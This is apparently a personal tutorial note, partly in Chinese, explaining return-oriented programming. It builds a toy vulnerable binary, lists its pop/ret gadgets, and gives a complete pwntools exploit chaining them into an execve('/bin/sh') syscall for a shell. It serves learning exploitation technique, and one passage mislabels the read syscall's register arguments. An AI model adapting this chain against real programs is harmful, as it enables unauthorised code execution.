ROP

Returned-oriented Program,defeats the W⊕X protections recently deployed by Microsoft,Intel, and AMD;in this context, it can be seen as a generalization of traditional return-into-libc attacks. But the threat is more general .

gadget

what gadget

Each gadget is an arrangement of words on the stack, both pointers to instruction sequences and immediate data words, that when invoked accomplishes some well-defined task

“W⊕X,” ensures that no memory
location in a process image is marked both writable (“W”) and executable (“X”)

gadget feature

One gadget might:

  1. perform a load operation
  2. another an xor
  3. and another a conditional branch

案例程序

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF.from_assembly(
    '''
        mov rdi, 0;
        mov rsi, rsp;
        sub rsi, 8;
        mov rdx, 300;
        syscall;
        ret;
        
        pop rax;
        ret;
        pop rdi;
        ret;
        pop rsi;
        ret;
        pop rdx;
        ret;
    '''
)
elf.save('vuln')

分析vuln程序

  1. syscall => read(0,rsp-8,300) 上面vuln程序,开头汇编rsi == rsp - 8是1st参数,rdi == 0 是2nd参数,rdx是第三个参数,之后调用syscall,rdi == 0是属于系统调用编号,查看调用函数是:
┌──(kali㉿kali)-[~/exploits/rop]
└─$ cat /usr/include/asm/unistd_64.h | grep -i read -A2     
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2

所以,vuln开头相当于read(0,rsp-8,300)。

  1. rop gadget chain
─$ objdump -d -M intel vuln

vuln:     file format elf64-x86-64


Disassembly of section .shellcode:

0000000010000000 <__start>:
    10000000:	48 c7 c7 00 00 00 00 	mov    rdi,0x0
    10000007:	48 89 e6             	mov    rsi,rsp
    1000000a:	48 83 ee 08          	sub    rsi,0x8
    1000000e:	48 c7 c2 2c 01 00 00 	mov    rdx,0x12c
    10000015:	0f 05                	syscall
    10000017:	c3                   	ret
    10000018:	58                   	pop    rax
    10000019:	c3                   	ret
    1000001a:	5f                   	pop    rdi
    1000001b:	c3                   	ret
    1000001c:	5e                   	pop    rsi
    1000001d:	c3                   	ret
    1000001e:	5a                   	pop    rdx
    1000001f:	c3                   	ret
gadget asm code
10000018 pop rax;ret
1000001a pop rdi;ret
1000001c pop rsi;ret
1000001e pop rdx;ret

漏洞利用

  1. 目标
    利用read读入shellcode,实现execve(’/bin/sh’)获取shell
  2. 实施
  • echo -en “/bin/sh\x00” » vuln
  • 获取binsh的偏移地址
┌──(kali㉿kali)-[~/exploits/syscalls]
└─$ strings -tx vuln |grep /bin/sh                          
   1238 /bin/sh
  • 获取execve的syscall number
┌──(kali㉿kali)-[~/exploits/syscalls]
└─$ cat /usr/include/asm/unistd_64.h | grep -i execve -A2
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
  • 构建gadget
    stack offset stack content
    + 00 pop_rax
    + 08 execve number
    + 10 pop_rdi
    + 18 binsh
    + 20 pop_rsi
    + 28 0
    + 30 pop_rdx
    + 38 0
    + 40 syscall

vuln pwn

from pwn import *

elf = context.binary = ELF('./vuln')

p = process()

binsh = elf.address + 0x1238

# objdump -M intel -d vuln
# pop_rax,...

pop_rax = 0x10000018
pop_rdi = 0x1000001a
pop_rsi = 0x1000001c
pop_rdx = 0x1000001e
syscall = 0x10000015

payload = fit('A'*8,pop_rax, 0x3b,pop_rdi,binsh,pop_rsi,0,pop_rdx,0,syscall)

p.sendline(payload)
p.interactive()

引用